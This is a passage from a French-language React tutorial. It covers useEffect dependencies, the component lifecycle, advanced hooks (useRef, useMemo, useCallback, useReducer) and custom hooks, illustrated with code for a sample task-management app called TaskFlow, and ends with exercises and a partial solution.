      return () => clearInterval(intervalId);
    }, []);  // Lance une seule fois

    return (
      <time dateTime={time.toISOString()}>
        {time.toLocaleTimeString('fr-FR')}
      </time>
    );
  }

CAS 4 — SYNCHRONISER AVEC LOCALSTORAGE :

  function useLocalStorage(key, defaultValue) {
    const [value, setValue] = useState(() => {
      try {
        const stored = localStorage.getItem(key);
        return stored !== null ? JSON.parse(stored) : defaultValue;
      } catch {
        return defaultValue;
      }
    });

    useEffect(() => {
      try {
        localStorage.setItem(key, JSON.stringify(value));
      } catch (error) {
        console.error('LocalStorage error:', error);
      }
    }, [key, value]);

    return [value, setValue];
  }

  // Utilisation :
  const [theme, setTheme] = useLocalStorage('taskflow-theme', 'light');
  const [tasks, setTasks] = useLocalStorage('taskflow-tasks', []);

CAS 5 — ÉVÉNEMENTS GLOBAUX :

  function useWindowSize() {
    const [size, setSize] = useState({
      width:  window.innerWidth,
      height: window.innerHeight,
    });

    useEffect(() => {
      const handleResize = () => {
        setSize({ width: window.innerWidth, height: window.innerHeight });
      };

      window.addEventListener('resize', handleResize);
      return () => window.removeEventListener('resize', handleResize);
    }, []);

    return size;
  }

CAS 6 — TITRE DE LA PAGE :

  function usePageTitle(title) {
    useEffect(() => {
      const previousTitle = document.title;
      document.title = title ? `${title} — TaskFlow` : 'TaskFlow';
      return () => { document.title = previousTitle; };
    }, [title]);
  }

  // Dans un composant :
  function DashboardPage() {
    usePageTitle('Dashboard');
    // ...
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14.4 — LE TABLEAU DE DÉPENDANCES — RÈGLES ET PIÈGES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÈGLE : Inclure TOUTES les variables utilisées dans l'effet ET définies
dans le composant (state, props, fonctions locales...).

  [X] Dépendances manquantes :
    function Component({ userId }) {
      const [user, setUser] = useState(null);
      useEffect(() => {
        fetchUser(userId).then(setUser);
      }, []);  // <- MAUVAIS : userId non inclus -> bug si userId change !
    }

  [OK] Correct :
    useEffect(() => {
      fetchUser(userId).then(setUser);
    }, [userId]);  // Re-exécuté si userId change

  [X] Boucle infinie :
    const [data, setData] = useState([]);
    useEffect(() => {
      setData([...data, 'newItem']);
    }, [data]);  // data change -> effet -> data change -> boucle infinie !

  [OK] Correction :
    useEffect(() => {
      setData(prev => [...prev, 'newItem']);
    }, []);  // [] si on veut exécuter une seule fois

  [X] Objet/fonction créé dans le composant :
    function Component() {
      const options = { page: 1, limit: 20 };  // Recréé à chaque render !
      useEffect(() => {
        fetch('/api/tasks', { body: JSON.stringify(options) });
      }, [options]);  // options === nouvel objet à chaque render -> boucle !
    }

  [OK] Solutions :
    // Option A : Définir en dehors du composant (si constante)
    const OPTIONS = { page: 1, limit: 20 };

    // Option B : useMemo pour mémoriser l'objet
    const options = useMemo(() => ({ page, limit: 20 }), [page]);

    // Option C : Utiliser les valeurs primitives directement
    useEffect(() => {
      fetch(`/api/tasks?page=${page}&limit=20`);
    }, [page]);  // page est un number (primitif) -> OK

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
14.5 — USEEFFECT ET LES FONCTIONS ASYNC
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // [X] MAUVAIS — useEffect ne peut pas être async directement :
  useEffect(async () => {
    const data = await fetchTasks();  // Problème : retourne une Promise, pas un cleanup
    setTasks(data);
  }, []);

  // [OK] CORRECT — Définir une fonction async à l'intérieur :
  useEffect(() => {
    const fetchData = async () => {
      const data = await fetchTasks();
      setTasks(data);
    };
    fetchData();
  }, []);

  // [OK] IIFE (Immediately Invoked Function Expression) :
  useEffect(() => {
    (async () => {
      const data = await fetchTasks();
      setTasks(data);
    })();
  }, []);


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 15 : CYCLE DE VIE DES COMPOSANTS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
15.1 — LES 3 PHASES DU CYCLE DE VIE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  MONTAGE (Mount)        -> Le composant apparaît dans le DOM
  MISE À JOUR (Update)   -> Props ou state change -> re-render
  DÉMONTAGE (Unmount)    -> Le composant disparaît du DOM

MAPPING CLASSE -> HOOKS :

  ┌────────────────────────────┬────────────────────────────────────────┐
  │  Class Component           │  Functional Component + Hooks          │
  ├────────────────────────────┼────────────────────────────────────────┤
  │ constructor                │ useState() (initialisation)            │
  │ componentDidMount          │ useEffect(() => {...}, [])             │
  │ componentDidUpdate         │ useEffect(() => {...}, [deps])         │
  │ componentWillUnmount       │ useEffect(() => { return () => {} })   │
  │ shouldComponentUpdate      │ React.memo + useMemo/useCallback       │
  │ getDerivedStateFromProps    │ Calculer depuis props dans le body     │
  │ getSnapshotBeforeUpdate    │ useLayoutEffect                        │
  └────────────────────────────┴────────────────────────────────────────┘

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
15.2 — FLUX COMPLET D'UN COMPOSANT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  1. MONTAGE :
       useState() -> état initial
       Fonction composant exécutée -> Virtual DOM créé
       Virtual DOM appliqué au vrai DOM (commit)
       useEffect([]) exécuté (après le premier paint)

  2. MISE À JOUR :
       setState() ou props change
       Fonction composant ré-exécutée -> nouveau Virtual DOM
       Diff (reconciliation)
       DOM mis à jour
       cleanup du précédent useEffect
       useEffect([deps]) exécuté si dépendances ont changé

  3. DÉMONTAGE :
       Composant retiré du DOM
       Cleanup de TOUS les useEffect actifs

EXEMPLE ILLUSTRANT LE CYCLE COMPLET :

  function TaskDetails({ taskId }) {
    const [task, setTask] = useState(null);
    const [comments, setComments] = useState([]);

    // Montage : charge la tâche
    useEffect(() => {
      console.log('[PACKAGE] Montage : chargement tâche', taskId);
      fetchTask(taskId).then(setTask);
    }, [taskId]);  // <- Re-exécuté si taskId change (nouvelle sélection)

    // S'abonne aux commentaires temps réel
    useEffect(() => {
      if (!taskId) return;
      console.log('[PLUGIN] Abonnement WebSocket pour tâche', taskId);
      const ws = new WebSocket(`wss://api.taskflow.app/tasks/${taskId}/comments`);

      ws.onmessage = (event) => {
        const comment = JSON.parse(event.data);
        setComments(prev => [...prev, comment]);
      };

      return () => {
        console.log('[PLUGIN] Fermeture WebSocket pour tâche', taskId);
        ws.close();  // CLEANUP obligatoire !
      };
    }, [taskId]);

    // Mise à jour du titre de page
    useEffect(() => {
      if (task) {
        document.title = `${task.title} — TaskFlow`;
        return () => { document.title = 'TaskFlow'; };
      }
    }, [task]);

    if (!task) return <Spinner />;

    return (
      <article>
        <h1>{task.title}</h1>
        <CommentList comments={comments} />
      </article>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
15.3 — USELAYOUTEFFECT (AVANCÉ)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  useEffect      : s'exécute APRÈS le paint du navigateur (asynchrone)
  useLayoutEffect : s'exécute AVANT le paint (synchrone) -> peut bloquer le rendu

  QUAND utiliser useLayoutEffect ?
    • Mesure du DOM (getBoundingClientRect)
    • Animations qui doivent partir du bon endroit
    • Synchronisation avec des bibliothèques DOM

  function Tooltip({ children, text }) {
    const tooltipRef = useRef(null);

    useLayoutEffect(() => {
      // Mesurer la position du tooltip et l'ajuster
      const rect = tooltipRef.current.getBoundingClientRect();
      if (rect.right > window.innerWidth) {
        tooltipRef.current.style.left = 'auto';
        tooltipRef.current.style.right = '0';
      }
    });

    return (
      <div className="tooltip-wrapper">
        {children}
        <div ref={tooltipRef} className="tooltip">{text}</div>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 16 : HOOKS AVANCÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
16.1 — USEREF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

useRef crée une RÉFÉRENCE MUTABLE qui :
  • Persiste entre les renders
  • Ne déclenche PAS de re-render quand elle change

2 USAGES PRINCIPAUX :

  ① Accès direct au DOM :
    function SearchInput() {
      const inputRef = useRef(null);

      const focusInput = () => {
        inputRef.current.focus();
      };

      useEffect(() => {
        // Focus automatique au montage
        inputRef.current.focus();
      }, []);

      return (
        <>
          <input ref={inputRef} type="search" />
          <button onClick={focusInput}>Focus</button>
        </>
      );
    }

  ② Stocker une valeur sans déclencher de re-render :
    function Timer() {
      const [seconds, setSeconds] = useState(0);
      const intervalRef = useRef(null);  // Stocker l'ID de l'intervalle

      const start = () => {
        if (intervalRef.current) return;  // Déjà en cours
        intervalRef.current = setInterval(() => {
          setSeconds(s => s + 1);
        }, 1000);
      };

      const stop = () => {
        clearInterval(intervalRef.current);
        intervalRef.current = null;
      };

      useEffect(() => {
        return () => clearInterval(intervalRef.current);  // Cleanup
      }, []);

      return (
        <div>
          <p>{seconds}s</p>
          <button onClick={start}>Start</button>
          <button onClick={stop}>Stop</button>
        </div>
      );
    }

  ③ Valeur précédente :
    function usePrevious(value) {
      const ref = useRef(undefined);
      useEffect(() => {
        ref.current = value;
      });
      return ref.current;  // Retourne la valeur du render précédent
    }

    function TaskCount({ count }) {
      const prevCount = usePrevious(count);
      return (
        <p>
          {count} tâches
          {prevCount !== undefined && (
            <span style={{ color: count > prevCount ? 'green' : 'red' }}>
              {count > prevCount ? ' ^' : ' v'}
            </span>
          )}
        </p>
      );
    }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
16.2 — USEMEMO — MÉMORISER DES CALCULS COÛTEUX
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useMemo } from 'react';

  useMemo(() => calculerValeur(), [dépendances]);
  // Recalculé seulement si les dépendances changent.

  function TasksPage({ tasks, filter, searchQuery, sortBy }) {
    // [X] Recalculé à CHAQUE render (même si tasks/filter n'ont pas changé) :
    const filteredTasks = tasks
      .filter(...)
      .sort(...);

    // [OK] Recalculé seulement si tasks, filter, searchQuery, ou sortBy change :
    const filteredTasks = useMemo(() => {
      return tasks
        .filter(task => {
          if (filter !== 'all' && task.status !== filter) return false;
          if (searchQuery && !task.title.toLowerCase().includes(searchQuery.toLowerCase())) return false;
          return true;
        })
        .sort((a, b) => {
          const PRIORITY_ORDER = { critical: 0, high: 1, medium: 2, low: 3 };
          if (sortBy === 'priority') return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
          if (sortBy === 'dueDate')  return new Date(a.dueDate) - new Date(b.dueDate);
          return new Date(b.createdAt) - new Date(a.createdAt);
        });
    }, [tasks, filter, searchQuery, sortBy]);

    // Stats mémorisées :
    const stats = useMemo(() => ({
      total:      tasks.length,
      done:       tasks.filter(t => t.status === 'done').length,
      inProgress: tasks.filter(t => t.status === 'in_progress').length,
      todo:       tasks.filter(t => t.status === 'todo').length,
      completion: tasks.length > 0
        ? Math.round(tasks.filter(t => t.status === 'done').length / tasks.length * 100)
        : 0,
    }), [tasks]);

    return (
      <div>
        <StatsGrid stats={stats} />
        <p>{filteredTasks.length} tâche(s)</p>
        <TaskList tasks={filteredTasks} />
      </div>
    );
  }

  QUAND UTILISER useMemo ?
    [OK] Calculs avec grandes listes (>100 éléments)
    [OK] Calculs complexes (tri, filtre, agrégation)
    [OK] Pour garantir la stabilité référentielle d'un objet passé en prop
    [X] Pour des calculs simples (number, string) -> overhead inutile
    [X] Par défaut pour tout -> optimiser seulement si problème mesuré

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
16.3 — USECALLBACK — MÉMORISER DES FONCTIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useCallback } from 'react';

  // Problème : À chaque render de Parent, handleDelete est recréée.
  // Si TaskCard est wrapped dans React.memo, il re-render quand même
  // car handleDelete est une nouvelle référence.

  function TasksPage() {
    const [tasks, setTasks] = useState([]);

    // [X] Recréée à chaque render :
    const handleDelete = (id) => {
      setTasks(prev => prev.filter(t => t.id !== id));
    };

    // [OK] Stable entre les renders (tant que setTasks ne change pas) :
    const handleDelete = useCallback((id) => {
      setTasks(prev => prev.filter(t => t.id !== id));
    }, []);  // setTasks est stable -> [] suffit

    const handleComplete = useCallback((id) => {
      setTasks(prev => prev.map(t =>
        t.id === id ? { ...t, status: 'done' } : t
      ));
    }, []);

    return (
      <TaskList
        tasks={tasks}
        onDelete={handleDelete}
        onComplete={handleComplete}
      />
    );
  }

  QUAND UTILISER useCallback ?
    [OK] Fonction passée à des composants React.memo
    [OK] Fonction dans les dépendances d'un useEffect
    [X] Partout par défaut -> overhead inutile

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
16.4 — USEREDUCER — STATE COMPLEXE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

useReducer est une alternative à useState pour des états complexes.
Inspiré de Redux, il centralise la logique de mise à jour.

  import { useReducer } from 'react';

  // 1. Définir les actions (types) :
  const ACTIONS = {
    ADD_TASK:      'ADD_TASK',
    DELETE_TASK:   'DELETE_TASK',
    UPDATE_TASK:   'UPDATE_TASK',
    COMPLETE_TASK: 'COMPLETE_TASK',
    SET_FILTER:    'SET_FILTER',
    SET_TASKS:     'SET_TASKS',  // Charger depuis API
  };

  // 2. Définir le reducer (fonction pure) :
  function tasksReducer(state, action) {
    switch (action.type) {
      case ACTIONS.ADD_TASK:
        return {
          ...state,
          tasks: [action.payload, ...state.tasks],
        };

      case ACTIONS.DELETE_TASK:
        return {
          ...state,
          tasks: state.tasks.filter(t => t.id !== action.payload),
        };

      case ACTIONS.UPDATE_TASK:
        return {
          ...state,
          tasks: state.tasks.map(t =>
            t.id === action.payload.id ? { ...t, ...action.payload } : t
          ),
        };

      case ACTIONS.COMPLETE_TASK:
        return {
          ...state,
          tasks: state.tasks.map(t =>
            t.id === action.payload
              ? { ...t, status: t.status === 'done' ? 'todo' : 'done' }
              : t
          ),
        };

      case ACTIONS.SET_FILTER:
        return { ...state, filter: action.payload };

      case ACTIONS.SET_TASKS:
        return { ...state, tasks: action.payload, isLoading: false };

      default:
        throw new Error(`Action inconnue : ${action.type}`);
    }
  }

  // 3. État initial :
  const INITIAL_STATE = {
    tasks: [],
    filter: 'all',
    isLoading: false,
    error: null,
  };

  // 4. Utiliser dans le composant :
  function TasksPage() {
    const [state, dispatch] = useReducer(tasksReducer, INITIAL_STATE);
    const { tasks, filter, isLoading, error } = state;

    const handleAddTask = (taskData) => {
      dispatch({
        type: ACTIONS.ADD_TASK,
        payload: { ...taskData, id: Date.now(), createdAt: new Date() },
      });
    };

    const handleDeleteTask = (id) => {
      dispatch({ type: ACTIONS.DELETE_TASK, payload: id });
    };

    const handleCompleteTask = (id) => {
      dispatch({ type: ACTIONS.COMPLETE_TASK, payload: id });
    };

    const handleSetFilter = (filter) => {
      dispatch({ type: ACTIONS.SET_FILTER, payload: filter });
    };

    // ...
  }

  USESTATE vs USEREDUCER :

  useState  -> State simple (1 valeur, logique simple)
  useReducer -> State complexe (plusieurs champs liés, logique complexe)
              -> Facile à tester (reducer = fonction pure)
              -> Préparation à Redux/Zustand


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 17 : CUSTOM HOOKS — RÉUTILISER LA LOGIQUE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
17.1 — QU'EST-CE QU'UN CUSTOM HOOK ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un custom hook est une FONCTION JavaScript qui :
  • Commence par "use" (obligatoire pour que React l'identifie)
  • Peut utiliser d'autres hooks (useState, useEffect...)
  • Extrait et réutilise de la logique d'état

QUAND CRÉER UN CUSTOM HOOK ?
  • Logique répétée dans 2+ composants
  • Composant avec trop de logique (difficile à lire)
  • Logique qu'on veut tester indépendamment

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
17.2 — CUSTOM HOOKS DE TASKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HOOK 1 — useFetch (requête HTTP générique) :

  // src/hooks/useFetch.js
  import { useState, useEffect, useCallback } from 'react';

  function useFetch(url, options = {}) {
    const [data, setData]       = useState(null);
    const [isLoading, setIsLoading] = useState(false);
    const [error, setError]     = useState(null);

    const fetchData = useCallback(async () => {
      if (!url) return;

      const controller = new AbortController();
      setIsLoading(true);
      setError(null);

      try {
        const response = await fetch(url, {
          ...options,
          signal: controller.signal,
          headers: {
            'Content-Type': 'application/json',
            Authorization: `Bearer ${localStorage.getItem('token')}`,
            ...options.headers,
          },
        });

        if (!response.ok) {
          const errorData = await response.json().catch(() => ({}));
          throw new Error(errorData.message || `HTTP ${response.status}`);
        }

        const result = await response.json();
        setData(result);
      } catch (err) {
        if (err.name !== 'AbortError') {
          setError(err.message);
        }
      } finally {
        setIsLoading(false);
      }

      return () => controller.abort();
    }, [url]);

    useEffect(() => {
      fetchData();
    }, [fetchData]);

    return { data, isLoading, error, refetch: fetchData };
  }

  export default useFetch;

  // Utilisation :
  function TasksPage() {
    const { data: tasks, isLoading, error, refetch } = useFetch('/api/tasks');

    if (isLoading) return <Spinner />;
    if (error) return <ErrorMessage message={error} onRetry={refetch} />;
    return <TaskList tasks={tasks || []} />;
  }

HOOK 2 — useTasks (logique métier des tâches) :

  // src/hooks/useTasks.js
  import { useState, useEffect, useCallback, useMemo } from 'react';
  import { tasksApi } from '../api/tasks.api';

  function useTasks() {
    const [tasks, setTasks]         = useState([]);
    const [isLoading, setIsLoading] = useState(true);
    const [error, setError]         = useState(null);
    const [filter, setFilter]       = useState('all');
    const [searchQuery, setSearchQuery] = useState('');
    const [sortBy, setSortBy]       = useState('createdAt');

    // Charger les tâches
    const loadTasks = useCallback(async () => {
      try {
        setIsLoading(true);
        setError(null);
        const data = await tasksApi.getAll();
        setTasks(data);
      } catch (err) {
        setError(err.message);
      } finally {
        setIsLoading(false);
      }
    }, []);

    useEffect(() => { loadTasks(); }, [loadTasks]);

    // CRUD
    const addTask = useCallback(async (taskData) => {
      try {
        const newTask = await tasksApi.create(taskData);
        setTasks(prev => [newTask, ...prev]);
        return newTask;
      } catch (err) {
        setError(err.message);
        throw err;
      }
    }, []);

    const updateTask = useCallback(async (id, updates) => {
      try {
        const updated = await tasksApi.update(id, updates);
        setTasks(prev => prev.map(t => t.id === id ? updated : t));
        return updated;
      } catch (err) {
        setError(err.message);
        throw err;
      }
    }, []);

    const deleteTask = useCallback(async (id) => {
      try {
        await tasksApi.delete(id);
        setTasks(prev => prev.filter(t => t.id !== id));
      } catch (err) {
        setError(err.message);
        throw err;
      }
    }, []);

    const completeTask = useCallback((id) => {
      return updateTask(id, { status: 'done', completedAt: new Date() });
    }, [updateTask]);

    // Données dérivées (mémorisées)
    const filteredTasks = useMemo(() => {
      const PRIORITY_ORDER = { critical: 0, high: 1, medium: 2, low: 3 };
      return tasks
        .filter(t => filter === 'all' || t.status === filter)
        .filter(t => !searchQuery ||
          t.title.toLowerCase().includes(searchQuery.toLowerCase()))
        .sort((a, b) => {
          if (sortBy === 'priority') return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
          if (sortBy === 'dueDate')  return new Date(a.dueDate) - new Date(b.dueDate);
          return new Date(b.createdAt) - new Date(a.createdAt);
        });
    }, [tasks, filter, searchQuery, sortBy]);

    const stats = useMemo(() => ({
      total:      tasks.length,
      done:       tasks.filter(t => t.status === 'done').length,
      inProgress: tasks.filter(t => t.status === 'in_progress').length,
      todo:       tasks.filter(t => t.status === 'todo').length,
    }), [tasks]);

    return {
      // State
      tasks, filteredTasks, stats,
      isLoading, error,
      filter, setFilter,
      searchQuery, setSearchQuery,
      sortBy, setSortBy,
      // Actions
      addTask, updateTask, deleteTask, completeTask, refetch: loadTasks,
    };
  }

  export default useTasks;

  // Utilisation dans le composant — BEAUCOUP plus propre :
  function TasksPage() {
    const {
      filteredTasks, stats, isLoading, error,
      filter, setFilter,
      searchQuery, setSearchQuery,
      addTask, updateTask, deleteTask, completeTask,
    } = useTasks();

    // Le composant ne contient plus QUE de la logique UI
  }

HOOK 3 — useLocalStorage :

  // src/hooks/useLocalStorage.js
  import { useState, useEffect } from 'react';

  function useLocalStorage(key, defaultValue) {
    const [value, setValue] = useState(() => {
      try {
        const stored = localStorage.getItem(key);
        return stored !== null ? JSON.parse(stored) : defaultValue;
      } catch {
        return defaultValue;
      }
    });

    useEffect(() => {
      try {
        if (value === undefined) {
          localStorage.removeItem(key);
        } else {
          localStorage.setItem(key, JSON.stringify(value));
        }
      } catch (error) {
        console.error('localStorage error:', error);
      }
    }, [key, value]);

    const removeValue = () => {
      localStorage.removeItem(key);
      setValue(defaultValue);
    };

    return [value, setValue, removeValue];
  }

  export default useLocalStorage;

HOOK 4 — useDebounce (recherche optimisée) :

  // src/hooks/useDebounce.js
  import { useState, useEffect } from 'react';

  function useDebounce(value, delay = 300) {
    const [debouncedValue, setDebouncedValue] = useState(value);

    useEffect(() => {
      const timer = setTimeout(() => {
        setDebouncedValue(value);
      }, delay);

      return () => clearTimeout(timer);
    }, [value, delay]);

    return debouncedValue;
  }

  export default useDebounce;

  // Utilisation — Évite d'envoyer une requête à chaque frappe :
  function SearchInput({ onSearch }) {
    const [query, setQuery] = useState('');
    const debouncedQuery = useDebounce(query, 300);

    useEffect(() => {
      onSearch(debouncedQuery);
    }, [debouncedQuery, onSearch]);

    return (
      <input
        value={query}
        onChange={e => setQuery(e.target.value)}
        placeholder="Rechercher... (300ms de délai)"
      />
    );
  }

HOOK 5 — useToggle :

  // src/hooks/useToggle.js
  import { useState, useCallback } from 'react';

  function useToggle(initialValue = false) {
    const [value, setValue] = useState(initialValue);
    const toggle   = useCallback(() => setValue(v => !v), []);
    const setTrue  = useCallback(() => setValue(true), []);
    const setFalse = useCallback(() => setValue(false), []);

    return [value, toggle, setTrue, setFalse];
  }

  export default useToggle;

  // Utilisation :
  const [isMenuOpen, toggleMenu, openMenu, closeMenu] = useToggle(false);
  const [isModalOpen, , openModal, closeModal] = useToggle(false);
  const [isLoading, , startLoading, stopLoading] = useToggle(false);

HOOK 6 — useAsync (opérations async avec état) :

  // src/hooks/useAsync.js
  import { useState, useCallback } from 'react';

  function useAsync(asyncFunction) {
    const [state, setState] = useState({
      status: 'idle',   // 'idle' | 'pending' | 'success' | 'error'
      data: null,
      error: null,
    });

    const execute = useCallback(async (...args) => {
      setState({ status: 'pending', data: null, error: null });
      try {
        const data = await asyncFunction(...args);
        setState({ status: 'success', data, error: null });
        return data;
      } catch (error) {
        setState({ status: 'error', data: null, error: error.message });
        throw error;
      }
    }, [asyncFunction]);

    return {
      execute,
      isIdle:    state.status === 'idle',
      isPending: state.status === 'pending',
      isSuccess: state.status === 'success',
      isError:   state.status === 'error',
      data:      state.data,
      error:     state.error,
    };
  }

  export default useAsync;

  // Utilisation :
  function LoginForm() {
    const { execute: login, isPending, isError, error } = useAsync(authApi.login);

    const handleSubmit = async (e) => {
      e.preventDefault();
      try {
        const user = await login({ email, password });
        navigate('/dashboard');
      } catch {
        // Erreur déjà dans state.error
      }
    };

    return (
      <form onSubmit={handleSubmit}>
        {isError && <ErrorBanner message={error} />}
        <button type="submit" disabled={isPending}>
          {isPending ? 'Connexion...' : 'Se connecter'}
        </button>
      </form>
    );
  }


════════════════════════════════════════════════════════════════════════════════
PROJET TASKFLOW V3 — AVEC API RÉELLE ET HOOKS CUSTOM
════════════════════════════════════════════════════════════════════════════════

  // src/api/tasks.api.js
  const API_URL = import.meta.env.VITE_API_URL || 'http://localhost:3001/api';

  const getHeaders = () => ({
    'Content-Type': 'application/json',
    Authorization: `Bearer ${localStorage.getItem('taskflow_token')}`,
  });

  export const tasksApi = {
    getAll: async (params = {}) => {
      const query = new URLSearchParams(params).toString();
      const res = await fetch(`${API_URL}/tasks${query ? `?${query}` : ''}`, {
        headers: getHeaders(),
      });
      if (!res.ok) throw new Error(`API Error: ${res.status}`);
      return res.json();
    },

    getById: async (id) => {
      const res = await fetch(`${API_URL}/tasks/${id}`, { headers: getHeaders() });
      if (!res.ok) throw new Error(`Task ${id} not found`);
      return res.json();
    },

    create: async (taskData) => {
      const res = await fetch(`${API_URL}/tasks`, {
        method: 'POST',
        headers: getHeaders(),
        body: JSON.stringify(taskData),
      });
      if (!res.ok) throw new Error('Failed to create task');
      return res.json();
    },

    update: async (id, updates) => {
      const res = await fetch(`${API_URL}/tasks/${id}`, {
        method: 'PATCH',
        headers: getHeaders(),
        body: JSON.stringify(updates),
      });
      if (!res.ok) throw new Error('Failed to update task');
      return res.json();
    },

    delete: async (id) => {
      const res = await fetch(`${API_URL}/tasks/${id}`, {
        method: 'DELETE',
        headers: getHeaders(),
      });
      if (!res.ok) throw new Error('Failed to delete task');
    },
  };

  // src/App.jsx — V3 avec hooks custom
  import useTasks from './hooks/useTasks';
  import useToggle from './hooks/useToggle';

  function App() {
    const {
      filteredTasks, stats, isLoading, error,
      filter, setFilter,
      searchQuery, setSearchQuery,
      addTask, updateTask, deleteTask, completeTask,
    } = useTasks();

    const [isModalOpen, , openModal, closeModal] = useToggle(false);
    const [editingTask, setEditingTask] = useState(null);

    const handleEditTask = (task) => {
      setEditingTask(task);
      openModal();
    };

    const handleSubmit = async (taskData) => {
      if (editingTask) {
        await updateTask(editingTask.id, taskData);
      } else {
        await addTask(taskData);
      }
      closeModal();
      setEditingTask(null);
    };

    if (isLoading) return <PageLoader message="Chargement des tâches..." />;
    if (error) return <ErrorPage message={error} />;

    return (
      <div className="app-layout">
        <Header user={currentUser} onNewTask={openModal} />
        <Sidebar />
        <main className="app-main">
          <StatsGrid stats={stats} />
          <TasksControls
            filter={filter} onFilterChange={setFilter}
            searchQuery={searchQuery} onSearchChange={setSearchQuery}
          />
          <TaskList
            tasks={filteredTasks}
            onComplete={completeTask}
            onDelete={deleteTask}
            onEdit={handleEditTask}
          />
        </main>
        <Modal isOpen={isModalOpen} onClose={closeModal}
               title={editingTask ? 'Modifier la tâche' : 'Nouvelle tâche'}>
          <TaskForm
            initialData={editingTask}
            onSubmit={handleSubmit}
            onCancel={closeModal}
          />
        </Modal>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 4
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-4.1 : useDocumentTitle — Hook synchronisant le titre avec un state.
  EX-4.2 : useWindowFocus — Détecte si la fenêtre est active (focus/blur).
  EX-4.3 : useCountdown — Timer à rebours depuis N secondes jusqu'à 0.

NIVEAU INTERMÉDIAIRE :
  EX-4.4 : useFetch complet avec retry automatique (3 tentatives max).
  EX-4.5 : useForm — Gestion de formulaire (values, errors, touched, submit).
  EX-4.6 : useIntersectionObserver — Détecte si un élément est visible.

NIVEAU AVANCÉ :
  EX-4.7 : usePagination — Page, limit, totalPages, hasNext, hasPrev.
  EX-4.8 : useWebSocket — Connexion temps réel avec reconnexion automatique.
  EX-4.9 : useOptimisticUpdate — Mise à jour UI immédiate, rollback si API échoue.

CORRIGÉ EX-4.5 — useForm :

  function useForm(initialValues, validationRules = {}) {
    const [values, setValues]   = useState(initialValues);
    const [errors, setErrors]   = useState({});
    const [touched, setTouched] = useState({});
    const [isSubmitting, setIsSubmitting] = useState(false);

    const validate = useCallback((values) => {
      const newErrors = {};
      Object.entries(validationRules).forEach(([field, rules]) => {
        const value = values[field];
        for (const rule of rules) {
          const error = rule(value, values);
          if (error) { newErrors[field] = error; break; }
        }
      });
      return newErrors;
    }, [validationRules]);

    const handleChange = useCallback((e) => {
      const { name, value, type, checked } = e.target;
      const newValue = type === 'checkbox' ? checked : value;
      setValues(prev => ({ ...prev, [name]: newValue }));
      if (touched[name]) {
        const fieldErrors = validate({ ...values, [name]: newValue });
        setErrors(prev => ({ ...prev, [name]: fieldErrors[name] }));
      }
    }, [values, touched, validate]);

    const handleBlur = useCallback((e) => {
